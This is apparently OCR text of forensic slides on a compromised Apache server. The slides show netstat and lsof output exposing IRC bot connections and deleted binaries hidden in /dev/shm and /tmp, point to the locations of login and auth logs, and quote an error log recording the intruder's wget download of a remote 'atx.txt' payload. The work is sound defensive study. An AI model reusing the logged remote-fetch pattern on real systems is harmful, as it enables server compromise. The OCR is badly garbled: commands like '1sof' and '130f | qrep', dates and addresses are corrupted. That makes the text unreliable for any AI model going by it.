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Netstat -na (1)
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Netstat -na(2)

[root@www ~]# netstat -na

Active Internet connections (servers and established)

Proto Recv-( Send-() Local Address Foreign Address State

tcp 0.0.0.0:330¢6 0.0.0.0:* LISTEN

tcp 0.0.0.0:111 0.0.0.0: LISTEN

163. 88.72.255.172:6667 ESTABLISHED
163. .154.6.180:6687 ESTABLISHED
163. .124.229.59:6687 ESTABLISHED
163. 154.6.180:66867 ESTABLISHED
163. 154.6.180:66867 ESTABLISHED
163. .54.159.109:66867 ESTABLISHED
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Netstat -ap(2)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 ¥ :mysql L LISTEN 2048/mysqld

tcp *:sunrpc "o LISTEN 1777/portmap

tcp WWW. .edu.tw: server.desirenet.org:ircd ESTABLISHED |20096/httpd

tcp WWW . .edu.tw: NONE-TIWENTYSEVEN-THIRT :ircd ESTABLISHED | 6354/bash

tcp WWW., .edu.tw: clanserver4u.de.quaken:ircd ESTABLISHED 20091/httpd
tcp WWW . .edu.tw: NONE-TWENTYSEVEN-THIRT :ircd ESTABLISHED  6354/bash
tcp WWW . .edu.tw: NONE-TWENTYSEVEN-THIRT:ircd ESTABLISHED  6354/bash
tcp WWW . .edu.tw: 195.54.159.109:ircd ESTABLISHED | 6325/httpd
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Isof | grep shm

[root@www ~]# 1sof | grep s

httpd 6325 apache 40 57065 |/dev/shm/ /.m (deleted)

httpd 6325  apache t3 152108 57103 /dev/shm/ /.m/httpd (deleted)
bash 6354 apache 40 57142 /dev/shm/ /.m/mc (deleted)

bash 6354 apache tx 492135 57144 /dev/shm/ /.m/mc/bash (deleted)

bash 6354 apache i 256 57159 /dev/shm/ /.m/mc/LinkEvents (deleted)
httpd 20091  apache 700 354528 /dev/shm/ /.m

httpd 20091  apache t3 152108 354566 /dev/shm/ /.m/httpd

httpd 20096  apache 680 354604 /dev/shm/ /.m/.m

httpd 20096  apache t 152108 354642 /dev/shm/ /.m/.m/httpd

[ /dev/shm tmpfs( )
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Isof | grep bash

[root@arteaching ~]% 130f | qrep bash
bash 8142  apache cwd DIR 8,2 4096 19955725 /tmp/ /.a

bash 8142  apache rtd DIR 8,2 4096 2/
bash 8142  apache txt REG 8,2 492135 19955727 /tmp/  /.a/bash (deleted)
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(last log)

f lvar/log/wtmp(Ubuntu)

last

last(CentOS)




(secure log)

vi /var/log/secure(CentOS) vi /var/log/auth.log(Ubuntu)
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(history)
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apache (error_logQ)

vi /var/log/httpd/ error_log(CentOS)
vi /var/log/apache2/ error.log(Ubuntu)

[Wed Oct 27 14:18:07 20107 [error] [client 218.91.251.142] File does not exist: /home/mp3/www/ topmp3/song004.mp3
--2010-10-27 14:21:23-- http://beaumult.go. rofatx, txt

Resolving beawmult.go.ro... 81.196.20.134

Connecting to beawmult.go.rol81.196.20.1341:80... connected.

HTTP request sent, awalting response... --2010-10-27 14:21:24-- http://beaumult.go. rofatx. txt

Resolving beawmult.go.ro... 81.196.20.134

Connecting to beauwmult.go.rol81.196.20.1341:80..., connected.

HTTP request sent, awalting response... 200 OK

Length: 17203 (17K) [text/plain]

Saving to: “atx.txt'

1) 100% 87.94=0s
2010-10-27 14:21:24 (87.9 MBfs) - “atx.txt' saved [17203/17203]
%aél: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -1 [sigspec]
0K

Length: 17203 (17K) [text/plain]
Saving to: Tatx.txt'

DG anmaiging Dnas 100% 4.334=0.004s
2010-10-27 14:21:25 (4.33 MBfs) - “atx.txt' saved [17203/17203]
sh: line 0: kill: ?: arguments must be process or job IDs

sh: line 0: kill: 0:00: arguments must be process or job IDs

ill
sh: line 0: ki%%: S: arguments must be process or Job IDs
1
sh: line 0: kill: fusrfsbinfapacheflogs: arguments must be process or job IDs
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